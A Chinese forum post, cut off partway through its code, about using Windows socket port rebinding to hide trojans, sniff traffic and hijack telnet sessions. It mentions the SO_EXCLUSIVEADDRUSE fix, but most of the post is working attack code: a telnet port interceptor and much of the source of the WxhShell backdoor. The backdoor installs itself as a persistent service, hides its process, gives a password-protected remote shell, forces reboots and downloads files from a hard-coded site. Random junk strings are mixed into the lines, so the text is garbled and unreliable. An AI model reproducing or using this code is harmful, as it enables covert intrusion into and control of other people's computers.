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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k7\h- yn{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nDh D"rc  
]} + NT  
  saddr.sin_family = AF_INET; '{t&!M`  
}Z~& XL=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AxOn~fZ!  
hu G]kv3F:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1gZW~6a}  
6IVa(;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;3D[[*n9  
,/qS1W(  
  这意味着什么?意味着可以进行如下的攻击: O'G,   
Vf'r6Rf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !P6\-.  
?1f(@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NG2@.hP:uU  
2 P=c1;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "[*W=6m0  
z}" Xt=G?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  OC[+t6  
~S],)E1w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k3 65.nc  
SRixT+E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #hOAG_a,  
sKkk+-J4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &4%j   
W+'|zhn  
  #include #Zm%U_$<  
  #include \*5_gPj!d  
  #include 22|a~"Z  
  #include    .!\NM&E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (oYM}#Q  
  int main() V=@M!;'<  
  { :d7tzYT ^  
  WORD wVersionRequested; ]Y%?kQ^  
  DWORD ret; 6n 2LG  
  WSADATA wsaData; ~ [por  
  BOOL val; er0hf2N]  
  SOCKADDR_IN saddr; >|Hd*pg))  
  SOCKADDR_IN scaddr; Gj.u /l  
  int err; M=57 d7  
  SOCKET s; ZkyH<Aa  
  SOCKET sc; }538vFNi  
  int caddsize; 4mG?$kCN  
  HANDLE mt; gZFtV  
  DWORD tid;   H^N@fG<*dh  
  wVersionRequested = MAKEWORD( 2, 2 ); bGl5=`  
  err = WSAStartup( wVersionRequested, &wsaData ); IXmtjRv5  
  if ( err != 0 ) { BJM_kKH  
  printf("error!WSAStartup failed!\n"); J&xH "U  
  return -1; 03iD(,@  
  } * 7ki$f!  
  saddr.sin_family = AF_INET; &J\V !uVo  
   | 'SqG}h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -N')LY  
6QCU:2IiL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BCE} Er&  
  saddr.sin_port = htons(23); i#@3\&{J>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (Ut)APM  
  { .{-&3++WZ  
  printf("error!socket failed!\n"); +$eEZ;4  
  return -1; Yxal%  
  } X676*;:!.  
  val = TRUE; -`mHb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8?lp:kM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9` /\|t|V  
  { ^<0azza/(  
  printf("error!setsockopt failed!\n"); Lh%>> Ht{  
  return -1; ![wV}. }  
  } piRP2Lbm*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "Q:m0P xb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q L6Rs  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *Ge2P3  
Y5}<7s\UDO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  )"im|9  
  { Zd/ACZ[  
  ret=GetLastError(); cG|ihG5)  
  printf("error!bind failed!\n"); 8+Y+\XZG  
  return -1; .[v4'ww^  
  } ,8KD-"l^g  
  listen(s,2); 'V reO52  
  while(1) H!y%FaTi  
  { zCdQI  
  caddsize = sizeof(scaddr); DK/xHIv8-  
  //接受连接请求 +H[G D!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s2*^ PG  
  if(sc!=INVALID_SOCKET) cxhS*"Ph  
  { oC]|ARgQk|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GW_@hYIqD  
  if(mt==NULL) FK MuRy|  
  { PYldqY   
  printf("Thread Creat Failed!\n"); T@[(FVA N  
  break; Rh7unJ  
  } MPINxS  
  } \($EYhx  
  CloseHandle(mt); {L[n\h.4.  
  } J?\z{ ;qa  
  closesocket(s); QRs!B!Fn0  
  WSACleanup(); jP{LMmV  
  return 0; C3Mr)  
  }   DwXzmp[qWH  
  DWORD WINAPI ClientThread(LPVOID lpParam) $z-zscco  
  { r-#23iT.~  
  SOCKET ss = (SOCKET)lpParam; f)xHSF"  
  SOCKET sc; gDP\u<2!  
  unsigned char buf[4096]; ^^[MDjNy@  
  SOCKADDR_IN saddr; O]OZt,k(  
  long num; }MKm>N  
  DWORD val; k<xiP@b{y  
  DWORD ret; 4{Vw30DZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6e1/h@p\7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Sri,sZv  
  saddr.sin_family = AF_INET; 7/.-dfEK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u:+wuyu  
  saddr.sin_port = htons(23); eMPk k=V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gl/n*s#r_  
  { *5$$C&@o9  
  printf("error!socket failed!\n"); M<t>jM@'A#  
  return -1; ,LjB%f[  
  } 0*66m:C2  
  val = 100; <Z^t^ O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w$~|/UrLf  
  { s 2t'jIB  
  ret = GetLastError(); gf `uC0  
  return -1; p&w XRI  
  } g{&a|NU^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H\tz"<*``  
  { B_w;2ZuA  
  ret = GetLastError(); "]}+QK_  
  return -1; -ec ~~95  
  } Las4ux[_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B;A^5~b  
  { qGtXReK  
  printf("error!socket connect failed!\n"); =;.#Bds  
  closesocket(sc); eW$G1h:  
  closesocket(ss); 9QaEUy*,  
  return -1; 3%Jg' Tr+  
  } =F2e*?a3  
  while(1) 41y}n{4n8  
  { k'uN2m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5_U3Fs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vmI]N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _5I" %E;S  
  num = recv(ss,buf,4096,0); } FcWzi  
  if(num>0) |t^7L )&y  
  send(sc,buf,num,0); &(h~{  
  else if(num==0) "R-1 G/  
  break; yBKkx@o#z  
  num = recv(sc,buf,4096,0); yZ t}Jnv  
  if(num>0) "|{O%X  
  send(ss,buf,num,0); pqPhtWi%PJ  
  else if(num==0) =T$-idx1l  
  break; k36%n *4  
  } MR$Bl"d  
  closesocket(ss); 45l/)=@@B  
  closesocket(sc); 4C2JyP3  
  return 0 ; 3R%'<MV|  
  } [m7jZOEu  
mjbr}9  
2F(zHa  
========================================================== 7Wg0-{yK4  
pyZ&[ *@  
下边附上一个代码,,WXhSHELL $a(EF 6  
0R~{|RHM  
========================================================== #z{9:o7[-  
{.tUn`j6V  
#include "stdafx.h" 1_ uq46  
hPt(7E2ke~  
#include <stdio.h>  ]qCAog  
#include <string.h> +D|y))fE  
#include <windows.h> uGl +"/uDu  
#include <winsock2.h> d_BO&k<+I  
#include <winsvc.h> rt] @Z`w  
#include <urlmon.h> [nBlHI;&  
mT\!LpX  
#pragma comment (lib, "Ws2_32.lib") GuMsw*{>  
#pragma comment (lib, "urlmon.lib") k WYjqv  
~JY<DW7  
#define MAX_USER   100 // 最大客户端连接数 zm rQ7(y  
#define BUF_SOCK   200 // sock buffer IH?.s k  
#define KEY_BUFF   255 // 输入 buffer F,^Q'$ !  
HaI  
#define REBOOT     0   // 重启 ou6|;*>d  
#define SHUTDOWN   1   // 关机 IbAGnl{  
$-9m8}U(Y  
#define DEF_PORT   5000 // 监听端口 )`]w\s #  
UPgjf  
#define REG_LEN     16   // 注册表键长度 X_XeI!,b  
#define SVC_LEN     80   // NT服务名长度 IGs!SXclCs  
C,:3z  
// 从dll定义API 'S<ebwRd=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TfK$tTkM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N?0T3-/K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5!,`LM9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @qH{;  
H"f%\'  
// wxhshell配置信息 0hK)/!Y  
struct WSCFG { 5% C-eB  
  int ws_port;         // 监听端口 >(EMZ5  
  char ws_passstr[REG_LEN]; // 口令 uNV (r"  
  int ws_autoins;       // 安装标记, 1=yes 0=no pulE6T7 x  
  char ws_regname[REG_LEN]; // 注册表键名 CZg$I&x  
  char ws_svcname[REG_LEN]; // 服务名 h0`@yo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I0oM\~#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ro`Hm8o/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nb0V~W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B@dA?w.x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GYYk3\r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'VCF{0{H~  
Y( n# =  
}; 3=V79&  
~0r:Wcj x  
// default Wxhshell configuration t>><|~wp  
struct WSCFG wscfg={DEF_PORT, eZs34${fN  
    "xuhuanlingzhe", 9r% O  
    1, [_ESR/&N  
    "Wxhshell", & D4'hL3  
    "Wxhshell", >lxhXYp  
            "WxhShell Service", `yJpDGh  
    "Wrsky Windows CmdShell Service", 1I^[_ /_\y  
    "Please Input Your Password: ", /qA\|'~  
  1, B'B,,Mz  
  "http://www.wrsky.com/wxhshell.exe", HkFoyy  
  "Wxhshell.exe" o7E?A  
    }; _M= \s>;G  
r`}')2  
// 消息定义模块 %JmSCjt`G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qc-jOl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,Hn{nVU1R=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x\!Q[  
char *msg_ws_ext="\n\rExit."; z/(^E8F  
char *msg_ws_end="\n\rQuit."; jHq.W95+P  
char *msg_ws_boot="\n\rReboot..."; @#$5_uU8\(  
char *msg_ws_poff="\n\rShutdown..."; u{maE ,  
char *msg_ws_down="\n\rSave to "; e*.l6H/B  
k2o98bK&;  
char *msg_ws_err="\n\rErr!"; v<N7o8  
char *msg_ws_ok="\n\rOK!"; 9mfqr$3  
}stc]L{79  
char ExeFile[MAX_PATH]; -bT1Qh X  
int nUser = 0; `)$'1,]u  
HANDLE handles[MAX_USER]; #x! h BS!  
int OsIsNt; Kf#9-.}?  
B B*]" gT  
SERVICE_STATUS       serviceStatus; ^w'y>uFM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CEjMHP$=  
tb#. Y  
// 函数声明 Bfwa1#%?  
int Install(void); E4~k)4R  
int Uninstall(void); v:kTZB  
int DownloadFile(char *sURL, SOCKET wsh); hOjy$Z  
int Boot(int flag); 3(l^{YC+[7  
void HideProc(void); v {E~R  
int GetOsVer(void); ;2 -%IA,  
int Wxhshell(SOCKET wsl); R@Ch3l@  
void TalkWithClient(void *cs); 1 i # .h$  
int CmdShell(SOCKET sock); ;(AVZxCM  
int StartFromService(void); L5 ~wX  
int StartWxhshell(LPSTR lpCmdLine); z)N8#Y~vn  
R: 8\z0"L*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [O92JT:li  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R@_i$Df|  
7kJ =C  
// 数据结构和表定义 Q^=drNV  
SERVICE_TABLE_ENTRY DispatchTable[] = To v!X8p  
{ R+Q..9 P  
{wscfg.ws_svcname, NTServiceMain}, 5lehASBz  
{NULL, NULL} _s{on/u  
}; #1c%3KaZ I  
b`M  2VZu  
// 自我安装 $A"C1)d;  
int Install(void) t/xWJW2  
{ w+c%Y\:  
  char svExeFile[MAX_PATH]; ]Q-*xho  
  HKEY key; CtiTXDc_  
  strcpy(svExeFile,ExeFile); 'o41)p  
1#BMc%  
// 如果是win9x系统,修改注册表设为自启动 >;I$&  
if(!OsIsNt) { \!D<u'n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [k qx%4q)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wJ 0KI[p(S  
  RegCloseKey(key); (Q~ p"Ch  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8{QN$Qkn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |/rms`YQ  
  RegCloseKey(key); )xKZ)SxV  
  return 0; imGg3'  
    } V?x&.C2Z  
  } V80BO#Pk  
} H4l*  
else { Xtv^q> !  
M:&g5y&  
// 如果是NT以上系统,安装为系统服务 RlJt+lnV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?J[m)Uo/ K  
if (schSCManager!=0) "_!D b&AH  
{ GZ xG!r -  
  SC_HANDLE schService = CreateService 3^NHV g  
  ( BC|=-^(  
  schSCManager, [Aqy%mbG  
  wscfg.ws_svcname, :Y/>] tS4  
  wscfg.ws_svcdisp, VHwAO:+-  
  SERVICE_ALL_ACCESS, _`'VOY`o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wx~N1+  
  SERVICE_AUTO_START, /{h@A~<96  
  SERVICE_ERROR_NORMAL, /1A3 Sw  
  svExeFile, NrQGoAOw  
  NULL, -2Bkun4Pt  
  NULL, #6w\r&R6  
  NULL, [=f(u wY>g  
  NULL, O"%b@$p\L  
  NULL 3QNu7oo  
  ); |"t)#BUtL  
  if (schService!=0) 1>5l(zK!9  
  { 1< 22,  
  CloseServiceHandle(schService); IY$v%%2WZ  
  CloseServiceHandle(schSCManager); C%#%_ "N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zvJQ@i"Z  
  strcat(svExeFile,wscfg.ws_svcname); Yi?X|"\`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >J4Tk1//b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ([vyY}43h  
  RegCloseKey(key); 9 GEMmo3  
  return 0; Q)`3&b  
    } QYl Pr&O9  
  } 2VB|a;Mo  
  CloseServiceHandle(schSCManager); ^g^R[8  
} "gaurr3  
} $hND!T+;  
;/hR#>ib  
return 1; :!',o]"4,k  
} K+2sq+ 3q  
0^l)9zE  
// 自我卸载 g" c|%3  
int Uninstall(void) e+'PRVc  
{ gXrXVv<)yw  
  HKEY key; : T` Ni  
+OEheG8  
if(!OsIsNt) { 'MF|(`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^t p6G  
  RegDeleteValue(key,wscfg.ws_regname); (T&rvE  
  RegCloseKey(key); j` RuK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F6g)2&e{/  
  RegDeleteValue(key,wscfg.ws_regname); 8\V  
  RegCloseKey(key); S}mZU!  
  return 0; h!@t8R  
  } GPyr;FV!s  
} K'/,VALp  
} c~,OU7[  
else { %8U/!(.g  
NOzAk%s3I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,tZJSfHB  
if (schSCManager!=0) kfb*|  
{ VR5CRNBJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B4uJT~,7>  
  if (schService!=0) NFYo@kX> G  
  { E;I'b:U`  
  if(DeleteService(schService)!=0) { 0-s[S  
  CloseServiceHandle(schService); {nr}C4]o  
  CloseServiceHandle(schSCManager); kK62yz,  
  return 0; <in#_Of {E  
  } 0ZRIi70u  
  CloseServiceHandle(schService); *!mT#Vm^  
  } QB3vp4pBg@  
  CloseServiceHandle(schSCManager); =x_~7 Xc{  
} rzl0*CR  
} oR``Jiob|  
_lK+/"-l  
return 1; NA=I7I@  
} 3izGMH_`  
/=y _ #l  
// 从指定url下载文件 ( vO\h8  
int DownloadFile(char *sURL, SOCKET wsh) @^O+ulLJ,]  
{ }KEL{VUX  
  HRESULT hr; 2cnyq$4k  
char seps[]= "/"; `<cn b!]  
char *token; [wLK*9@&  
char *file; S)n+E\c  
char myURL[MAX_PATH]; 9Q*T'+V  
char myFILE[MAX_PATH]; DK6^\k][V  
xAZ-_}'tW  
strcpy(myURL,sURL); q3_ceXYU  
  token=strtok(myURL,seps); uT\|jv,  
  while(token!=NULL) w#-J ?/m  
  { c3L)!]kB  
    file=token; @2X{e7+D  
  token=strtok(NULL,seps); o+}>E31a  
  } o.o$dg(r!  
2kXa  
GetCurrentDirectory(MAX_PATH,myFILE); >14 x.c  
strcat(myFILE, "\\"); }{oZdO  
strcat(myFILE, file); xJNV^u  
  send(wsh,myFILE,strlen(myFILE),0); @Yu=65h  
send(wsh,"...",3,0); >GV(\In  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )qq5WShMJ  
  if(hr==S_OK) !e<D2><^  
return 0; .+.'TY--  
else 8lNkY`P7s  
return 1; /Wx({N'h$  
Kw/7X[|'G  
} %}`zq8Q;  
_MmSi4]yd  
// 系统电源模块 [yyL2=7  
int Boot(int flag) ~uUN\qx52  
{ QTC-W2t]  
  HANDLE hToken; XCP/e p  
  TOKEN_PRIVILEGES tkp; <3SO1@?  
=sIkA)"!=  
  if(OsIsNt) { -wdd'G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X5Fi , /H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5`3Wua  
    tkp.PrivilegeCount = 1; >508-)'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :(?F(Q^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y!1x,"O'H  
if(flag==REBOOT) { =Z(_lLNmh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H1fKe=$1  
  return 0; cYeC7l "  
} N -z  
else { ~LG<Uu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nS` :)#;  
  return 0; 'v~%rhq3  
} 8*7,qX  
  } l5/!0]/  
  else { pWm==Ds|  
if(flag==REBOOT) { Wcf;ZX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NB.s2I7  
  return 0; !k}]`z^d  
} ?TLzOYJp  
else { lx H3a :gm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [S:{$4&  
  return 0; zHg1K,t:  
} />13?o#  
} 2 {I(A2  
yh'P17N|q  
return 1; UVUoXv)N  
} ,ozgnhZY  
eKv{N\E  
// win9x进程隐藏模块 u$MXO].Q  
void HideProc(void) 4\pUA4  
{ `^G?+p2E  
>OotgJnhC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z'cL"n\9R]  
  if ( hKernel != NULL ) K1oSoD8c  
  { Qw@_.I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u|Tg*B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6|@\\\l  
    FreeLibrary(hKernel); 1:j[p=Q&  
  } VX+:C(m~  
b9L" ?{  
return; sVNM#,  
} I$Ra*r  
SKdh!*G  
// 获取操作系统版本 D>`lN  
int GetOsVer(void) \pwg8p[4Q  
{  IPDQ  
  OSVERSIONINFO winfo; qi]"`\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lmbC2\GT  
  GetVersionEx(&winfo); y7@q]~%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z<jH{AU  
  return 1; p O O4fc  
  else  C4.g}q  
  return 0; i[N=.  
} 0<$t9:dq  
nf,u'}psdJ  
// 客户端句柄模块 ~}@cSv'(1  
int Wxhshell(SOCKET wsl) ^)i1b:4  
{ B4kJ 7Pdny  
  SOCKET wsh; tvEf-z  
  struct sockaddr_in client; Wu|ANc  
  DWORD myID; 1c19$KHu  
a bw7{%2  
  while(nUser<MAX_USER) d#Xt2   
{ (d ?sFwOt\  
  int nSize=sizeof(client); |<Rf^"T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]dU/;8/%  
  if(wsh==INVALID_SOCKET) return 1; uk<JV*R=  
T8US` MZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `F,*NESv  
if(handles[nUser]==0) Jr.4Y>;}e3  
  closesocket(wsh); LR:meCOI  
else &Z%|H>+;T  
  nUser++; xL#UMvZ>;h  
  } r zO5 3\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6JUjT]S%  
svj0;x5  
  return 0; UR' P,  
} ~Kll.  
)|Md"r_B  
// 关闭 socket =H)"t:xE  
void CloseIt(SOCKET wsh)  X0&[cyP!  
{ t{g7 :A  
closesocket(wsh); >21f%Z  
nUser--; n~C!PXE  
ExitThread(0); "qxu9Hg!  
} ;RW0 24  
|9x H9@^f  
// 客户端请求句柄 KL^hYjC  
void TalkWithClient(void *cs) '\4 @  
{ 0sGAC  
G Z~W#*|V  
  SOCKET wsh=(SOCKET)cs; +S C;@'  
  char pwd[SVC_LEN]; [W,}&  
  char cmd[KEY_BUFF]; pdEUDuX  
char chr[1]; "+k^8ki  
int i,j; wzNGL{3  
aPH6R<G  
  while (nUser < MAX_USER) { o3kVcX^  
e>~7RN  
if(wscfg.ws_passstr) { Puodsd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xp;CYr"1}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uYy&<_r  
  //ZeroMemory(pwd,KEY_BUFF); nAY'1!Oi  
      i=0; l 4e`-7  
  while(i<SVC_LEN) { M~"93Q`f^  
? ht;ZP  
  // 设置超时 P(Wr[lH\y  
  fd_set FdRead; :I/i"g7<  
  struct timeval TimeOut; U%T{~f  
  FD_ZERO(&FdRead); bS"zp6Di  
  FD_SET(wsh,&FdRead); r?:xD(}Q  
  TimeOut.tv_sec=8; PZE{- TM?W  
  TimeOut.tv_usec=0; ZT1IN6;8W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); , I^:xw_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #a|.cm>6  
uX8yS|= *  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]s<}'&  
  pwd=chr[0]; na-mh E,H  
  if(chr[0]==0xd || chr[0]==0xa) { p6|RV(?8  
  pwd=0; p8_ CY[U  
  break; y~-dQ7r  
  } Yj#4{2A  
  i++; C[IY9s:Pf  
    } SQ0t28N3h  
#dEMjD  
  // 如果是非法用户,关闭 socket &* 1iW(x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GAY f.L"  
} } Rs@  
]O1}q!s   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R(dOQ. ;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \ N;%  
ZGZ+BOFL  
while(1) { #!RO,{FT  
N}5'Hk4+  
  ZeroMemory(cmd,KEY_BUFF); #s]'2O  
aZBb@~Y  
      // 自动支持客户端 telnet标准   X J{b_h#N  
  j=0; p"ElO,\  
  while(j<KEY_BUFF) { ZCuLgCP?Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e=#'rDm  
  cmd[j]=chr[0]; >cYYr@S  
  if(chr[0]==0xa || chr[0]==0xd) { qOi"3_  
  cmd[j]=0; MlmdfO%Y  
  break; vpL3XYs`  
  } k< i#agq  
  j++; nr>Os@\BU  
    } @?YO_</  
u>-pg u  
  // 下载文件 2B`#c}PP  
  if(strstr(cmd,"http://")) { 6&KvT2?tA`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j]5mzz~  
  if(DownloadFile(cmd,wsh)) R[T94U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d&ap u{  
  else hUO&rov3@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +:jx{*}jo  
  } 3Lw&HtH  
  else { GT3 ?)g{Z  
4ht+u  
    switch(cmd[0]) { uqFYa bU  
  bz4TbGg]  
  // 帮助 {j!+\neL  
  case '?': { qrxn%#\XP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oasEG6OI8  
    break; Eu)(@,]we  
  } ?X5Y8n]y\h  
  // 安装 }=T=Z#OgH  
  case 'i': { `iT{H]po  
    if(Install()) v[J"/:]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nlsif  
    else ~]LkQQ'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8\])p sb9  
    break; &8R !`uh1  
    } :,[=g$CT:  
  // 卸载 d]!`II  
  case 'r': { 5?M d  
    if(Uninstall()) 'vc>uY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); io^ L[  
    else 'j27.Ry.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2(5<Wj"  
    break; LzE$z,  
    } dw"{inMf  
  // 显示 wxhshell 所在路径 rwh,RI) )g  
  case 'p': {  5i|DJ6  
    char svExeFile[MAX_PATH]; 2T >K!jS  
    strcpy(svExeFile,"\n\r"); ~+OAAkJ9  
      strcat(svExeFile,ExeFile); G>f2E49BXt  
        send(wsh,svExeFile,strlen(svExeFile),0); XjINRC8^4  
    break; _Cnl|'  
    } =QQTHL{3  
  // 重启 %S9YjMR@  
  case 'b': { &U7INUL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PbpnjvVrM  
    if(Boot(REBOOT)) v62O+{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z36C7 kw  
    else { 7 S 6@[-E  
    closesocket(wsh); &upM,Jsr*  
    ExitThread(0); c4i%9E+Af  
    } s.qo/o\b  
    break; ~8l(,N0  
    } .`@)c/<0  
  // 关机 yuA+YZ  
  case 'd': { TcEvUZJ"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P|' eM%  
    if(Boot(SHUTDOWN)) ).l`N&_peM  
